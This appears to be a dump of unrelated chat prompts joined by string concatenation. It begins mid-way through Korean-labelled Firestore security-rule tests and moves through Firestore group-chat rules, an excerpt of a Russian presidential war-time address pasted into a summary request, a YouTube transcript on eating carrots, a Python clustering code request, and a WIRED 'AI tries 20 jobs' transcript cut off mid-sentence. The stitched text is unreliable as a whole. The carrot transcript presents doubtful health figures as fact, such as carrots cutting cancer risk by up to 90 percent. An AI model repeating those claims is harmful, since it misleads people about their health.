setDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "bar",\n })\n );\n });\n });\n\n describe("Read 테스트", () => {\n test("Document id에 auth user id가 \'\\_\' 로 나눠서 들어가면 Read에 성공한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertSucceeds(getDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertSucceeds(getDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n });\n\n test("Document id에 auth user id가 없다면 Read에 실패한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(getDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertFails(getDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n });\n });\n\n describe("Update 테스트", () => {\n beforeEach(async () => {\n await testEnv.withSecurityRulesDisabled(async (ctx) => {\n const firestore = ctx.firestore();\n\n await Promise.all(\n [\n AUTHORIZED\\_DOCUMENT\\_ID\\_1,\n AUTHORIZED\\_DOCUMENT\\_ID\\_2,\n UNAUTHORIZED\\_DOCUMENT\\_ID\\_1,\n UNAUTHORIZED\\_DOCUMENT\\_ID\\_2,\n ].map((id) =>\n setDoc(doc(firestore, COLLECTION\\_NAME, id), {\n foo: "bar",\n })\n )\n );\n });\n });\n\n test("Document id에 auth user id가 \'\\_\' 로 나눠서 들어가면 Update에 성공한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertSucceeds(\n updateDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "jazz",\n })\n );\n\n await assertSucceeds(\n updateDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "jazz",\n })\n );\n });\n\n test("Document id에 auth user id가 없다면 Update에 실패한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(\n updateDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "jazz",\n })\n );\n\n await assertFails(\n updateDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "jazz",\n })\n );\n });\n });\n\n describe("Delete 테스트", () => {\n test("delete를 할 수 없다", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n });\n });\n });\n});```\n\nQ: ```match /GroupChats/{groupChatId} {\n function isJoinedGroupChat() {\n return request.auth.uid != null && exists(/databases/$(database)/documents/groupChatSessions/$(groupChatId)\\_$(request.auth.uid));\n }\n\n function isGroupChatOwner() {\n return isJoinedGroupChat() && get(/databases/$(database)/documents/groupChatSessions/$(groupChatId)\\_$(request.auth.uid)).data.role == \'owner\';\n }\n\n function isGroupChatBlockedUser() {\n return !isJoinedGroupChat() && exists(/databases/$(database)/documents/groupChatBlockedUsers/$(groupChatId)\\_$(request.auth.uid));\n }\n\n allow get: if true;\n\n allow list: if resource.data.scope == "public" || \n (resource.data.scope == "private" && isJoinedGroupChat());\n\n allow create: if isJoinedGroupChat();\n allow update: if isGroupChatOwner();\n allow delete: if false;\n\n match /GroupChatMessages/{groupChatMessageId} {\n allow read: if request.auth.uid != null;\n allow create: if isJoinedGroupChat();\n allow update: if false;\n allow delete: if request.auth.uid == resource.data.uid;\n }\n\n match /groupChatSessions/{groupChatSessionId} {\n allow read: if request.auth.uid != null;\n allow write: if !isGroupChatBlockedUser();\n allow update: if request.auth.uid == resource.data.uid;\n allow delete: if request.auth.uid == resource.data.uid || isGroupChatOwner();\n } \n\n match /groupChatBlockedUsers/{groupChatBlockedUserId} {\n allow read;\n allow update: if false;\n allow create, delete: if isGroupChatOwner();\n }\n }```\nA:3 / 3' +"Add the following text to the summary:\n\nWe all understand, and I understand also how unbearably hard it is for their wives, sons and daughters, for their parents who raised those dignified defenders of the Fatherland – like the Young Guard members from Krasnodon, young men and women who fought against Nazism and for Donbass during the Great Patriotic War. Everyone in Russia remembers their courage, resilience, enormous strength of spirit and self-sacrifice to this day.\n\nOur duty is to support the families that have lost their loved ones and to help them raise their children and give them an education and a job. The family of each participant in the special military operation must be a priority and treated with care and respect. Their needs must be responded to immediately, without bureaucratic delays.\n\nI suggest establishing a dedicated state fund for bringing targeted, personalised assistance to the families of fallen fighters, as well as veterans of the special military operation. This entity will be tasked with coordinating efforts to offer social, medical support and counselling, and also address matters related to sending them to health resorts and providing rehabilitation services, while also assisting them in education, sports, employment and in acquiring a new profession. This fund will also have an essential mission to ensure long-term home care and high-technology prosthetics for those who need that.\n\nI am asking the Government to work with the State Council Commission on Social Policy and with the regions to resolve the organisational matters as quickly as possible.\n\nThe state fund must be transparent in its work, while streamlining assistance and operating as a one-stop-shop, free from red tape or administrative barriers. Every family without exception, and every veteran will have their personal social worker, a coordinator, who will be there for them in person to resolve in real time any issue they might face. Let me emphasise that the fund must open its offices in all regions of the Russian Federation in 2023.\n\nWe already have measures in place for supporting Great Patriotic War veterans, combat veterans, as well as participants in local conflicts. I believe these essential elements will be added to the state fund’s mission moving forward. We need to explore this possibility, and I am asking the Government to do so.\n\nMake no mistake: the fact that we are establishing a state fund does not mean that other institutions or officials at other levels of government will be relieved of their responsibility. I expect all federal agencies, regions and municipalities to stay focused on veterans, on service personnel and their families. In this context, I would like to thank the senior regional officials, mayors, and governors who routinely meet with people, including by visiting the line of contact, and support their fellow countrymen.\n\nOn a special note, let me say that today, career service personnel, mobilised conscripts, and volunteers all share frontline hardships, including in terms of provisions, supplies and equipment, remuneration, and insurance payments to the wounded, as well as healthcare services. However, there are complaints that make it all the way to my office, as well as to the governors, as they have been telling me, and to the military prosecutor’s office and the Human Rights Commissioner, showing that some of these issues have yet to be resolved. We need to get to the bottom of each complaint on a case-by-case basis.\n\nAnd one more thing: everyone understands that serving in the special military operation zone causes immense physical and mental stress, since people risk their lives and health every day. For this reason, I believe that the mobilised conscripts, as well as all service personnel, and all those taking part in the special military operation, including volunteers, must benefit from a leave of absence of at least 14 days every six months without counting the time it takes them to travel to their destination. This way, every fighter will be able to meet family and spend time with their loved ones.\n\nColleagues, as you are aware, a 2021–2025 plan for building and developing the Armed Forces was approved by a Presidential Executive Order and is being implemented and adjusted as necessary. Importantly, our next steps to reinforce the Army and the Navy and to secure the current and future development of the Armed Forces must be based on actual combat experience gained during the special military operation, which is extremely important, I would even say absolutely invaluable to us.\n\nFor example, the latest systems account for over 91 percent, 91.3 percent, of Russia's nuclear deterrence forces. To reiterate, based on our newly acquired experience, we must access a similarly high quality level for all other components of the Armed Forces.\n\nOfficers and sergeants who act as competent, modern and decisive commanders, and they are many, will be promoted to higher positions as a matter of priority, sent to military universities and academies, and will serve as a powerful personnel reserve for the Armed Forces. Without a doubt, they are a valuable resource in civilian life and at governments at all levels. I just want our colleagues to pay attention to that. It is very important. The people must know that the Motherland appreciates their contribution to the defence of the Fatherland.\n\nWe will widely introduce the latest technology to ensure high-quality standards in the Army and Navy. We have corresponding pilot projects and samples of weapons and equipment in each area. Many of them are significantly superior to their foreign counterparts. Our goal is to start mass production. This work is underway and is picking up pace. Importantly, this relies on domestic research and the industrial base and involves small- and medium-sized high-tech businesses in implementation of the state defence order.\n\nToday, our plants, design bureaus and research teams employ experienced specialists and increasing numbers of talented and highly skilled young people who are oriented towards breakthrough achievements while remaining true to the tradition of Russian gunsmiths, which is to spare no effort to ensure victory.\n\nWe will certainly strengthen the guarantees for our workforce, in part concerning salaries and social security. I propose launching a special programme for low-cost rental housing for defence industry employees. The rental payments for them will be significantly lower than the going market rate, since a significant portion of it will be covered by the state.\n\nThe Government reviewed this issue. I instruct you to work through the details of this programme and start building such rental housing without delay, primarily, in the cities that are major defence, industrial and research centres.\n\nColleagues,\n\nAs I have already said, the West has opened not only military and informational warfare against us, but is also seeking to fight us on the economic front. However, they have not succeeded on any of these fronts, and never will. Moreover, those who initiated the sanctions are punishing themselves: they sent prices soaring in their own countries, destroyed jobs, forced companies to close, and caused an energy crisis, while telling their people that the Russians were to blame for all of this. We hear that.\n\nWhat means did they use against us in their efforts to attack us with sanctions? They tried disrupting economic ties with Russian companies and depriving the financial system of its communication channels to shutter our economy, isolate us from export markets and thus undermine our revenues. They also stole our foreign exchange reserves, to call a spade a spade, tried to depreciate the ruble and drive inflation to destructive heights.\n\nLet me reiterate that the sanctions against Russia are merely a means, while the aim as declared by the Western leaders, to quote them, is to make us suffer. “Make them suffer” – what a humane attitude. They want to make our people suffer, which is designed to destabilise our society from within.\n\nHowever, their gamble failed to pay off. The Russian economy, as well as its governance model proved to be much more resilient than the West thought. The Government, parliament, the Bank of Russia, the regions and of course the business community and their employees all worked together to ensure that the economic situation remained stable, offered people protection and preserved jobs, prevented shortages, including of essential goods, and supported the financial system and business owners who invest in their enterprises, which also means investing in national development.\n\nAs early as in March 2022, we launched a dedicated assistance package for businesses and the economy worth about a trillion rubles. I would like to draw your attention to the fact that this has nothing to do with printing money. Not at all. Everything we do is solidly rooted in market principles.\n\nIn 2022, there was a decline in the gross domestic product. Mr Mishustin called me to say, “I would like to ask you to mention this.” I think that these data were released yesterday, right on schedule.\n\nYou may remember that some predicted that the economy would shrink by 20 to 25 percent, or maybe 10 percent. Only recently, we spoke about a 2.9 percent decline, and I was the one who announced this figure. Later it came down to 2.5 percent. However, in 2022, the GDP declined by 2.1 percent, according to the latest data. And we must be mindful of the fact that back in February and March of last year some predicted that the economy would be in free fall.\n\nRussian businesses have restructured their logistics and have strengthened their ties with responsible, predictable partners – there are many of them, they are the majority in the world.\n\nI would like to note that the share of the Russian ruble in our international settlements has doubled as compared to December 2021, reaching one third of the total, and including the currencies of the friendly countries, it exceeds half of all transactions.\n\nWe will continue working with our partners to create a sustainable, safe system of international settlements, which will be independent of the dollar and other Western reserve currencies that are bound to lose their universal appeal with this policy of the Western elite, the Western rulers. They are doing all this to themselves with their own hands.\n\nWe are not the ones reducing transactions in dollars or other so-called universal currencies – they are doing everything with their own hands.\n\nYou know, there is a maxim, cannons versus butter. Of course, national defence is the top priority, but in resolving strategic tasks in this area, we should not repeat the mistakes of the past and should not destroy our own economy. We have everything we need to both ensure our security and create conditions for confident progress in our country. We are acting in line with this logic and we intend to continue doing this.\n\nThus, many basic, I will stress, civilian industries in the national economy are far from being in decline, they have increased their production last year by a considerable amount. The scale of housing put into service exceeded 100 million square meters for the first time in our modern history.\n\nAs for agricultural production, it recorded two-digit growth rates last year. Thank you very much. We are most grateful to our agricultural producers. Russian agrarians harvested a record amount – over 150 million tonnes of grain, including over 100 million tonnes of wheat. By the end of the agricultural season, that is, June 30, 2023, we will bring our grain exports to 55–60 million tonnes.\n\nJust 10 or 15 years ago, this seemed like a fairy tale, an absolutely unfeasible plan. If you remember, and I am sure some people do remember this – the former Deputy Prime Minister and the Minister of Agriculture are here – just recently, agrarians took in 60 million tonnes overall in a year, whereas now 55–60 million is their export potential alone. I am convinced we have every opportunity for a similar breakthrough in other areas as well.\n\nWe prevented the labour market from collapsing. On the contrary, we were able to reduce unemployment in the current environment. Today, considering the major challenges coming at us from all sides, the labour market is even better than it used to be. You may remember that the unemployment rate was 4.7 percent before the pandemic, and now, I believe, it is 3.7 percent. What is the figure, Mr Mishustin? 3.7 percent? This is an all-time low.\n\nLet me reiterate that the Russian economy has prevailed over the risks it faced – it has prevailed. Of course, it was impossible to anticipate many of them, and we had to respond literally on the fly, dealing with issues as they emerged. Both the state and businesses had to move quickly. I will note that private actors, SMEs, played an essential role in these efforts, and we must remember this. We avoided having to apply excessive regulation or distorting the economy by giving the state a more prominent role.\n\nWhat else there is to say? The recession was limited to the second quarter of 2022, while the economy grew in the third and fourth quarters. In fact, the Russian economy has embarked on a new growth cycle. Experts believe that it will rely on a fundamentally new model and structure. New, promising global markets, including the Asia-Pacific, are taking precedence, as is the domestic market, with its research, technology and workforce no longer geared toward exporting commodities but manufacturing goods with high added value. This will help Russia unleash its immense potential in all spheres and sectors." +"all right [Music] what happens when you start eating carrots every day carrots are one of the healthiest vegetables you can eat they are rich in vitamins minerals and fiber they have also been shown to have anti-inflammatory effects and protect against many diseases but have you ever wondered what happens when you start eating carrots every day in this video we are going to be talking about the amazing health benefits of adding carrots to your diet before we proceed please note that everything mentioned in this video is unbiased fact checked and reviewed by qualified health professionals with that said let's jump in and talk about how carrots can improve our health number one strengthens your bones carrots play a huge role in keeping your bones strong as we age this is because it contains Vitamin K Vitamin K is an essential fat soluble vitamin that helps maintain bone density and prevent fractures it also helps form osteocalcin which is a protein that binds calcium ions in your bones this builds strong bones and prevents them from becoming brittle or fragile without enough vitamin K your body cannot use calcium that well this can lead to weak brittle bones or osteoporosis vitamin K also has been shown to help prevent coronary artery calcification which is the buildup of calcium in the arteries the same process that occurs in your bones happens in your arteries too as we get older arteries become stiffer and less flexible over time if you don't have enough vitamin K2 researchers at Tufts University recently discovered that eating more carrots can help build stronger bones by improving calcium absorption which can reduce the risk of osteoporosis for their study they put participants on a low calcium diet and measured how much calcium they absorbed over time then they had them eat one cup of carrot juice every day for two weeks to see if it would increase their bone mineral density the results were pretty impressive the participants who ate a cup of carrots each day experienced an eight percent increase in bone density after just two weeks this means that consuming extra carrots may help prevent osteoporosis and keep bones strong as we age number two improves Eye Health carrots are not only delicious but they can also be an excellent addition to your diet if you have eye problems carrots contain vitamin A and beta-carotene which help improve eyesight and prevent macular degeneration and cataracts vitamin A is a fat soluble vitamin that has several functions in the human body including Vision it plays an important role in the health of your eyes and skin and it helps regulate the immune system vitamin A deficiency can cause night blindness which is when you are unable to see in dim or low light conditions the condition is caused by changes in the retina which prevent it from responding properly to incoming light beta-carotene on the other hand is a carotenoid that's naturally found in plants especially those with orange yellow and red colorings it gives carrots their orange Hue for example beta-carotene is an antioxidant that helps protect against free radical damage in the body free radicals can damage cells in our bodies increasing our risk for certain diseases like cancer and age-related macular degeneration number three helps reduce allergy flare-ups carrot protein has been shown to have anti-inflammatory properties which can be beneficial for people who suffer from allergies they found that when a person is exposed to an allergen such as pollen an immune response is triggered by a type of white blood cells called t cells this causes inflammation which can cause symptoms such as sneezing and a runny nose in some cases it can lead to anaphylaxis or an extreme allergic reaction where the Airways become blocked however if someone has high levels of carotenoids in their blood their immune system will be less reactive and less likely to trigger an inflammatory response researchers from the University of Alberta investigated if this protein could affect asthma symptoms by experimenting on mice that were allergic to dust mites they found that those that were given carrot protein showed less severe lung inflammation than those who weren't fed the supplement the team believes that the reason for this is down to the anti-inflammatory properties of carrot protein which reduces swelling in tissues this means that when we eat carrots our bodies produce less histamine which is an inflammatory substance released during allergic reactions the researchers hope that these findings will lead to new treatments for people with allergies and asthma liking our video so far before we move on to the next benefit don't forget to hit the like button and subscribe to our channel so you never miss out on our new informative videos number four help support heart health heart disease is the leading cause of death worldwide in the United States around one in four deaths are caused by heart disease and it is responsible for more deaths than all forms of cancer combined heart disease is defined as a condition in which arteries become narrowed or blocked this can lead to several different problems including chest pain heart attack and stroke researchers found that eating one half cup of carrots daily lowered LDL cholesterol by nine percent and total cholesterol by six percent over three weeks carrots are also a great source of potassium which can help lower blood pressure and reduce the risk of heart disease potassium is an essential mineral that helps your body maintain healthy blood pressure number five may help reduce cancer risk carrots have been shown to reduce cancer risk by up to 90 percent this effect is due to their high level of beta-carotene which acts as an antioxidant in the body it also protects against free radical damage that can cause cancer growth carrots also contain lutein and zeaxanthin which prevent the growth of tumors in the retina and lung these two antioxidants are protective against breast cancer in women especially those who eat at least five servings of fruit and vegetables per day a new study from China shows that eating carrots regularly reduces the risk of lung cancer by 24 in men and women equally women who ate more than 1.5 servings per day had a 32 percent lower risk of developing lung cancer compared with women who ate less than one serving per week men who ate more than two servings per day had a 44 lower risk of developing lung cancer compared with men who ate less than one serving per week number six May promote healthier hair carrots May promote healthier Hair by preventing hair loss as well as increasing the growth rate of new hair carrot juice contains betaine which is essential for healthy liver function and can help prevent hair loss caused by poor Liver Health betaine also helps to improve the health of your scalp by reducing inflammation and increasing circulation to the area the beta-carotene and carrots promote cell turnover giving you shinier healthier looking hair vitamin C in carrots also helps protect your body from free radicals that damage hair follicles and weaken them number seven supports weight loss carrots are high in fiber fiber helps you feel Fuller longer and prevents blood sugar spikes that could lead to cravings and overeating later in the day people who eat more fiber tend to weigh less than those who don't get enough of it in their diets fibrous Foods also help prevent constipation and other digestive problems that can cause you to feel bloated after eating processed foods carrots are also an excellent source of insoluble fiber which keeps your digestive tract healthy carrots are also a good source of pectin pectin is a soluble fiber that helps reduce appetite by making us feel Fuller for longer the high water content in carrots helps keep us hydrated by keeping our digestive system healthy number eight boost your immune system carrots are essential for a strong immune system the carotenoids in carrots can also help boost the production of white blood cells which fight off infections beta-carotene has been shown to boost the immune system by increasing levels of infection fighting white blood cells called natural killer cells these cells are an important component of our body's first line of defense against viruses and bacteria researchers suspect that beta-carotene May promote the production of T lymphocytes which help regulate your immune response you may benefit from taking beta-carotene if you have an autoimmune disease such as multiple sclerosis or rheumatoid arthritis how to eat carrots safely carrot juice is often used as a home remedy for hair loss and to prevent cancer but eating too many carrots can be harmful carrots contain high levels of carotene which the body converts into Vitamin A eating excessive amounts of carrots can cause hyper vitaminosis a which can lead to liver damage and vision problems if you're getting your daily carrot fix keep the amount under one cup per day however if you don't consume carrots every day it's okay to exceed this limit carrots can also be contaminated by dirt carrots are a vegetable that is often grown in the ground which means they are a risk of being exposed to soil-borne pathogens the most common source is a contaminated irrigation system or water source if you purchased your carrots from a grocery store they may have been washed and packaged in an attempt to kill any possible pathogens before they reach you however if you buy them from the farmers market it's important to know how to wash and clean them properly so they can be eaten safely thanks to their Rich supply of nutrients and antioxidants eating carrots every day is a great idea in fact this isn't a bad habit to get into at all so if you aren't already doing so you might even want to consider adding carrots to your grocery list this week enjoyed this video hit the like button and subscribe to our channel for more informative videos like this one thanks for watching your Wellness is our mission [Music]" +'Given this context:\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nfrom matplotlib.patches import Circle\nimport pickle\nimport pandas as pd\n\nclass RadialFocusGroup:\n def \\_\\_init\\_\\_(self):\n self.foci = []\n\n def distance\\_ordered\\_foci(self, index : int):\n """\n Order the foci by closeness for filtering\n """\n distances = []\n for foci\\_index, foci in enumerate(self.foci):\n distances.append((foci\\_index, foci.index\\_distance(index)))\n return sorted(distances, key = lambda x:x[1])\n\n def ring\\_filter(self, distance\\_list):\n\n distance\\_dataframes = []\n\n for distances in distance\\_list:\n df = pd.DataFrame(distances, columns=[\'index\', \'value\'])\n distance\\_dataframes.append(df)\n\n merged\\_df = pd.concat(distance\\_dataframes, keys=range(len(distance\\_dataframes)), names=[\'source\']).reset\\_index()\n common\\_indices = merged\\_df.groupby(\'index\').filter(lambda x: len(x) == len(distance\\_list))\n filtered\\_points = common\\_indices.groupby(\'index\')[\'value\'].apply(list).reset\\_index().values.tolist()\n\n return filtered\\_points\n def generate\\_radial\\_buffer\\_length(self,\n data : np.ndarray,\n sample\\_size : int, \n n\\_closest : int):\n """\n generates a useful radial distance that will create groups of rough size n\\_closest.\n """\n # Randomly sample sample\\_size points from the data\n sampled\\_indices = np.random.choice(data.shape[0], size=sample\\_size, replace=False)\n sampled\\_points = data[sampled\\_indices]\n\n max\\_distances = []\n\n # Compute the distance between each sampled point and every other point in data\n for sampled\\_point in sampled\\_points:\n distances = np.linalg.norm(data - sampled\\_point, axis=1)\n\n # Find the n\\_closest distances\n closest\\_distances = np.partition(distances, n\\_closest)[:n\\_closest]\n\n # Find the maximum distance among the n\\_closest distances\n max\\_distance = np.max(closest\\_distances)\n max\\_distances.append(max\\_distance)\n\n # Return the average of the maximum distances\n self.radial\\_buffer = np.mean(max\\_distances)\n \n def animate\\_radial\\_buffer\\_length(self, data, sample\\_size, n\\_closest, framerate=1):\n \n\n def plot\\_sphere(ax, center, radius, color, alpha=1.0, n\\_points=100):\n u = np.linspace(0, 2 \\* np.pi, n\\_points)\n v = np.linspace(0, np.pi, n\\_points)\n x = radius \\* np.outer(np.cos(u), np.sin(v)) + center[0]\n y = radius \\* np.outer(np.sin(u), np.sin(v)) + center[1]\n z = radius \\* np.outer(np.ones(np.size(u)), np.cos(v)) + center[2]\n\n ax.plot\\_surface(x, y, z, color=color, alpha=alpha)\n if data.shape[1] not in (2, 3):\n raise ValueError("The dimensionality of the data must be 2 or 3 for animation.")\n\n def update(frame):\n ax.clear()\n if frame < sample\\_size:\n # Plot only the current sampled\\_point\n ax.scatter(\\*sampled\\_points[frame], c=\'black\', marker=\'o\')\n elif frame < 2 \\* sample\\_size:\n i = frame - sample\\_size\n sampled\\_point = sampled\\_points[i]\n closest\\_points = n\\_closest\\_points[i]\n furthest\\_point = closest\\_points[-1]\n\n # Plot sampled\\_point and n\\_closest\\_points with the furthest\\_point in red\n ax.scatter(\\*closest\\_points.T, c=\'blue\', marker=\'o\')\n ax.scatter(\\*furthest\\_point, c=\'red\', marker=\'o\')\n ax.scatter(\\*sampled\\_point, c=\'black\', marker=\'o\')\n else:\n i = frame - 2 \\* sample\\_size\n sampled\\_point = sampled\\_points[i]\n furthest\\_point = n\\_closest\\_points[i][-1]\n\n # Plot sampled\\_point and the furthest\\_point in n\\_closest\n ax.scatter(\\*furthest\\_point, c=\'red\', marker=\'o\')\n ax.scatter(\\*sampled\\_point, c=\'black\', marker=\'o\')\n\n # Draw a circle (2D) or translucent sphere (3D) with radius equal to the radial\\_buffer\\_length\n if data.shape[1] == 2:\n circle = Circle(sampled\\_point, radial\\_buffer\\_length, fill=False, edgecolor=\'black\')\n ax.add\\_patch(circle)\n else:\n plot\\_sphere(ax, sampled\\_point, radial\\_buffer\\_length, color=\'red\', alpha=0.2)\n ax.set\\_xlim(0, 1)\n ax.set\\_ylim(0, 1)\n if data.shape[1] == 3:\n ax.set\\_zlim(0, 1)\n\n sampled\\_indices = np.random.choice(data.shape[0], size=sample\\_size, replace=False)\n sampled\\_points = data[sampled\\_indices]\n\n n\\_closest\\_points = []\n max\\_vals = []\n for sampled\\_point in sampled\\_points:\n distances = np.linalg.norm(data - sampled\\_point, axis=1)\n closest\\_indices = np.argpartition(distances, n\\_closest)[:n\\_closest]\n closest\\_points = data[closest\\_indices]\n n\\_closest\\_points.append(closest\\_points)\n \n max\\_vals.append(np.linalg.norm(sampled\\_point - data[closest\\_indices[-1]]))\n radial\\_buffer\\_length = np.mean(np.array(max\\_vals))\n\n fig = plt.figure()\n if data.shape[1] == 2:\n ax = fig.add\\_subplot(111)\n else:\n ax = fig.add\\_subplot(111, projection=\'3d\')\n\n ani = FuncAnimation(fig, update, frames=3 \\* sample\\_size, interval=1000 / framerate, blit=False)\n plt.show()\n\nclass RadialFoci:\n def \\_\\_init\\_\\_(self ,\n vector : np.ndarray):\n """\n creates the radial distances used for the clustering \n """\n self.distances = []\n self.index\\_to\\_distance = {}\n self.value= vector\n\n def index\\_distance(self, index : int):\n return self.distances[self.index\\_to\\_distance[index]][1]\n \n def find\\_radial\\_group(self,\n index : int,\n expansion\\_start : int,\n radial\\_cutoff : float,):\n """\n Finds the group of indices in 4\\*log N time\n """\n def binary\\_barrier\\_search(boundary\\_condition,\n floor=None,\n ceiling=None):\n if not self.distances:\n return floor if floor is not None else ceiling\n\n low, high = 0, len(self.distances) - 1\n\n if self[low] > boundary\\_condition:\n return floor\n\n if self.distances[high] <= boundary\\_condition:\n return ceiling\n\n while low <= high:\n mid = (low + high) // 2\n\n if self.distances[mid] <= boundary\\_condition and self.distances[mid + 1] > boundary\\_condition:\n return mid\n elif self.distances[mid] <= boundary\\_condition:\n low = mid + 1\n else:\n high = mid - 1\n\n return None\n \n origin\\_value = self.index\\_distance(index)\n expansion\\_value = expansion\\_start\n # first find the upward / downward limits\n upwards\\_floor\\_limit = index\n upward\\_ceil\\_limit = index + expansion\\_value\n while(self.index\\_distance(index + expansion\\_value) - origin\\_value < origin\\_value + radial\\_cutoff):\n expansion\\_value \\*= 2\n upward\\_ceil\\_limit = expansion\\_value\n if(upward\\_ceil\\_limit > self.distances.\\_\\_len\\_\\_()): upward\\_ceil\\_limit = self.distances.\\_\\_len\\_\\_()\n\n downward\\_ceil\\_limit = index\n downward\\_floor\\_limit = index - expansion\\_value\n while(origin\\_value - self.index\\_distance(index - expansion\\_value) > origin\\_value - radial\\_cutoff):\n expansion\\_value \\*= 2\n downward\\_floor\\_limit = expansion\\_value\n if(downward\\_floor\\_limit < 0): downward\\_floor\\_limit = 0\n \n return self.distances[binary\\_barrier\\_search(origin\\_value + radial\\_cutoff, upwards\\_floor\\_limit, upward\\_ceil\\_limit):\n binary\\_barrier\\_search(origin\\_value - radial\\_cutoff, downward\\_floor\\_limit, downward\\_ceil\\_limit)]\n \n \ndef radial\\_map\\_data(unmapped\\_data : np.ndarray):\n """\n Maps out data to the radial dimensionality.\n """\n dim = unmapped\\_data.shape[1]\n radial\\_focus\\_group = RadialFocusGroup()\n # Create the radial\\_foci dataset\n radial\\_foci = np.eye(dim)\n radial\\_foci = np.vstack((radial\\_foci, np.zeros(dim))) # Add the origin point\n\n # Compute the distance between each point in unmapped\\_data and radial\\_foci\n \n for j, radial\\_point in enumerate(radial\\_foci):\n radial\\_foci\\_distance = []\n\n for i, unmapped\\_point in enumerate(unmapped\\_data):\n radial\\_foci\\_distance.append((i, np.linalg.norm(unmapped\\_point - radial\\_point)))\n radial\\_foci\\_distance = sorted(radial\\_foci\\_distance, key = lambda x: x[1])\n new\\_radial\\_foci = RadialFoci(radial\\_point)\n new\\_radial\\_foci.distances = radial\\_foci\\_distance\n new\\_radial\\_foci.index\\_to\\_distance = { entry[0] : index for index, entry in enumerate(new\\_radial\\_foci.distances)}\n radial\\_focus\\_group.foci.append(new\\_radial\\_foci)\n \n\n return radial\\_focus\\_group\n\nbuild a unit test for "build\\_radial\\_group" and "binary\\_barrier\\_search"' +'Summarize the following.\nTitle: "(2) A.I. Tries 20 Jobs | WIRED - YouTube"\nTranscript: "I\'m a lawyer copywriter Doctor music producer personal trainer software engineer DJ I want to know can AI do my job I\'m a software engineer where I work we\'re always trying to know where can I find the best craft beer please generate the code for a website using HTML CSS and flask that tells me where there\'s craft beer near me this is just raw code you actually need to run the code somewhere I\'m copying pasting the code into separate files and it generates a website how cool here\'s our website all three pieces the back end the front end and The Styling did actually make something that was human readable that that generates a website that we can look at and understand what it does does seem like a huge feat to me I\'m a doctor this prompt is something that a patient might enter I have a fever rash and body aches the rash looks like small welds on my genitals do I have monkey pox the response is pretty solid in the sense that it\'s unlikely that you have monkey pox the specific thing I got right was that the monkey pox rash is actually not prominent on the genital area it goes on to say that a rash in the general area most likely is an STI the rest of the answer is just fluff talking to your healthcare provider which is pretty obvious can AI do my job I don\'t think it\'s there yet I think the AI right now is really good for a first year medical student I\'m a graphic designer Rebrand the McDonald\'s logo as vegan I\'m seeing four image variations it\'s struggling with text it\'s looking sort of like characters but in some sort of fictional language I wouldn\'t send any of these straight away to McDonald\'s they do each need a little bit of work the fourth one I think is maybe the strongest it\'s leaning towards more organic colors overall I don\'t think AI can do my job I kind of see this as a more evolved Pinterest I can use it as a base for inspiration but I don\'t think it will replace me all together or so I hope I\'m a therapist people come to me when they want help in dating or relationships please answer the following question in a way a relationship therapist would why do I always fight with my partners conflicts are a natural part of any relationship fighting or arguing is not necessarily a sign of a bad relationship great some possible factors include communication issues stress and life events different conflict styles how do I know what my conflict style is reflect on your past conflicts observe your behavior during conflicts most people are incapable of reflecting on their conflict style during conflicts so while this is great information I\'m not sure how actionable it is what AI has done is it\'s just dumped a bunch of information were I to be a client I would probably want my money back that\'s just me so can AI do my job I would say have self-help books done my job people don\'t lack knowledge they lack the ability to follow through I\'m a stand-up comedian and I want to know if an AI can do my job write a 100 word minimum funny stand-up comedy joke let me go ahead and perform this and we\'ll see what we got online dating what a wild ride that is you know what they say swipe right for love and left for well probably just another cat person but hey at least it\'s better than meeting someone at a bar and realizing you have the same dad again like what side are you using ancestry.com that\'s a little creepy it has the Cadence right which is what\'s so fascinating to me and it\'s kind of creeping me out I did think it was cute when it was like oh swipe left on a cat person although let\'s be honest that\'s a little feline phobic I\'m not concerned about the AI yet it could take a crappier comedian\'s job but it can\'t take mine I\'m a lawyer my client is asking me whether or not they can sell someone\'s health information please write a legal memorandum about this in a true legal memorandum it would give you which sections of the regulation you\'re talking about which this is not doing it doesn\'t say what the penalties are is it criminal is it civil I don\'t really know where it\'s getting its information I don\'t know how much I can trust this if it were like a legal associate I would say go back and do a better job I\'m a news anchor I want to know if AI can do my job I have given the AEI some text to read a forest fire has blazed through a large part of the Southern mountain region of the country she didn\'t sound natural he sounded like a machine speaking the lips look weird it looked like the lips did not belong to the face and provide Aid to those affected when I speak I\'m moving my hands but I\'m also moving some of my body she wasn\'t doing that I do a newscast in Spanish now let\'s see how 